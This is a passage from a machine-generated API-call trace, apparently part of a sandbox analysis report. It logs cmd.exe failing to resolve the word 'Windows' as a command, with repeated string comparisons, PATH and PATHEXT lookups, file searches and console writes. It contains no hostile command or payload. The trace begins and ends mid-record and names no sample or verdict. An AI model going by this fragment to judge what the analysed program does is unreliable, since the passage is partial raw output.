lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0162.608] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0162.608] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0162.608] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.608] GetFileType (hFile=0x50) returned 0x2 [0162.608] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.608] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0162.609] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.609] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0162.609] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.609] GetFileType (hFile=0x50) returned 0x2 [0162.609] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.609] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0162.609] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.609] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f928050*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f928050*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0162.610] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ") returned 80 [0162.610] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.610] GetFileType (hFile=0x50) returned 0x2 [0162.610] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.610] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0162.612] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.612] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x50, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x50) returned 1 [0162.614] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0162.614] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.614] GetFileType (hFile=0x50) returned 0x2 [0162.614] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.614] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0162.614] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.614] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0162.618] malloc (_Size=0xffce) returned 0x20b0fa60940 [0162.619] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0162.619] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0162.619] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0162.619] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0162.619] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0162.619] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0162.619] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0162.619] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0162.619] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0162.619] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0162.620] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0162.620] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0162.620] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0162.620] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0162.620] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0162.620] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0162.620] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0162.620] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0162.620] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0162.620] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0162.620] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0162.620] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0162.620] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0162.620] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0162.620] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0162.620] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0162.620] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0162.620] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0162.620] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0162.620] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0162.620] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0162.620] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0162.620] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0162.620] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0162.620] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0162.620] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0162.620] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0162.620] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0162.620] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0162.620] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0162.620] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0162.620] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0162.620] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0162.620] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0162.621] malloc (_Size=0xffce) returned 0x20b0fa70920 [0162.621] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0162.621] GetProcessHeap () returned 0x20b0f920000 [0162.621] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0162.623] SetErrorMode (uMode=0x0) returned 0x0 [0162.623] SetErrorMode (uMode=0x1) returned 0x0 [0162.623] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0162.623] SetErrorMode (uMode=0x0) returned 0x1 [0162.623] GetProcessHeap () returned 0x20b0f920000 [0162.623] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x48) returned 0x20b0f957f90 [0162.623] GetProcessHeap () returned 0x20b0f920000 [0162.623] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x48 [0162.623] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0162.623] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0162.623] GetProcessHeap () returned 0x20b0f920000 [0162.623] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92d430 [0162.623] GetProcessHeap () returned 0x20b0f920000 [0162.624] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92e0d0 [0162.624] GetProcessHeap () returned 0x20b0f920000 [0162.624] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92e0d0, Size=0x1b6) returned 0x20b0f92e0d0 [0162.624] GetProcessHeap () returned 0x20b0f920000 [0162.624] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92e0d0) returned 0x1b6 [0162.624] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0162.624] GetProcessHeap () returned 0x20b0f920000 [0162.624] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d5f0 [0162.624] GetProcessHeap () returned 0x20b0f920000 [0162.624] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d5f0, Size=0x7e) returned 0x20b0f92d5f0 [0162.624] GetProcessHeap () returned 0x20b0f920000 [0162.624] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d5f0) returned 0x7e [0162.624] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.624] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d0f0 [0162.624] FindClose (in: hFindFile=0x20b0f92d0f0 | out: hFindFile=0x20b0f92d0f0) returned 1 [0162.624] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.624] GetLastError () returned 0x2 [0162.624] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.625] GetLastError () returned 0x2 [0162.625] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.625] GetLastError () returned 0x2 [0162.625] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.625] GetLastError () returned 0x2 [0162.625] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.625] GetLastError () returned 0x2 [0162.625] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.625] GetLastError () returned 0x2 [0162.625] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.625] GetLastError () returned 0x2 [0162.625] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.626] GetLastError () returned 0x2 [0162.626] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.626] GetLastError () returned 0x2 [0162.626] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.626] GetLastError () returned 0x2 [0162.626] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.626] GetLastError () returned 0x2 [0162.626] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.626] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.627] GetLastError () returned 0x2 [0162.627] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.627] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d390 [0162.627] FindClose (in: hFindFile=0x20b0f92d390 | out: hFindFile=0x20b0f92d390) returned 1 [0162.627] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.627] GetLastError () returned 0x2 [0162.627] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.627] GetLastError () returned 0x2 [0162.627] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.627] GetLastError () returned 0x2 [0162.627] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.628] GetLastError () returned 0x2 [0162.628] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.628] GetLastError () returned 0x2 [0162.628] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.628] GetLastError () returned 0x2 [0162.628] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.628] GetLastError () returned 0x2 [0162.628] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.628] GetLastError () returned 0x2 [0162.628] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.628] GetLastError () returned 0x2 [0162.628] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.629] GetLastError () returned 0x2 [0162.629] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.629] GetLastError () returned 0x2 [0162.629] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.629] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.629] GetLastError () returned 0x2 [0162.629] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.629] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.629] GetLastError () returned 0x2 [0162.629] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.629] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.629] GetLastError () returned 0x2 [0162.629] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.630] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.630] GetLastError () returned 0x2 [0162.630] ??_V@YAXPEAX@Z () returned 0x1 [0162.630] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0162.632] malloc (_Size=0xffce) returned 0x20b0fa70920 [0162.632] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0162.632] malloc (_Size=0xffce) returned 0x20b0fa80900 [0162.632] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0162.632] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0162.632] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0162.632] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0162.632] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0162.632] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0162.632] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0162.632] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0162.633] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0162.633] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0162.633] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0162.633] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0162.633] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0162.633] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0162.633] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0162.633] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0162.633] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0162.633] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0162.633] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0162.633] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0162.633] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0162.633] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0162.633] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0162.633] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0162.633] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0162.633] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0162.633] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0162.633] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0162.633] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0162.633] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0162.633] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0162.633] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0162.633] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0162.633] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0162.633] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0162.633] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0162.633] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0162.633] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0162.633] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0162.633] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0162.633] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0162.633] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0162.633] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0162.633] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0162.634] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0162.634] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0162.634] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0162.634] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0162.634] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0162.634] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0162.634] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0162.634] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0162.634] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0162.634] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0162.634] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0162.634] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0162.634] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0162.634] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0162.634] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0162.634] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0162.634] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0162.634] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0162.634] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0162.634] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0162.634] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0162.634] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0162.634] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0162.634] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0162.634] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0162.634] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0162.634] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0162.634] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0162.634] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0162.634] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0162.634] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0162.634] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0162.634] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0162.634] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0162.634] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0162.634] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0162.634] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0162.635] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0162.635] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0162.635] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0162.635] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0162.635] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0162.635] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0162.635] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0162.635] ??_V@YAXPEAX@Z () returned 0x1 [0162.635] GetProcessHeap () returned 0x20b0f920000 [0162.635] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957ff0 [0162.635] GetProcessHeap () returned 0x20b0f920000 [0162.635] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xc0) returned 0x20b0f957720 [0162.635] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0162.635] malloc (_Size=0xffce) returned 0x20b0fa80900 [0162.636] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0162.636] GetProcessHeap () returned 0x20b0f920000 [0162.636] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fe0 [0162.637] SetErrorMode (uMode=0x0) returned 0x0 [0162.637] SetErrorMode (uMode=0x1) returned 0x0 [0162.637] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967ff0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0162.637] SetErrorMode (uMode=0x0) returned 0x1 [0162.637] GetProcessHeap () returned 0x20b0f920000 [0162.637] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fe0, Size=0x48) returned 0x20b0f967fe0 [0162.637] GetProcessHeap () returned 0x20b0f920000 [0162.637] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fe0) returned 0x48 [0162.637] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0162.637] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0162.637] GetProcessHeap () returned 0x20b0f920000 [0162.637] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92e2a0 [0162.637] GetProcessHeap () returned 0x20b0f920000 [0162.637] RtlAllocateHeap (HeapHandle=0x20b0f920000, 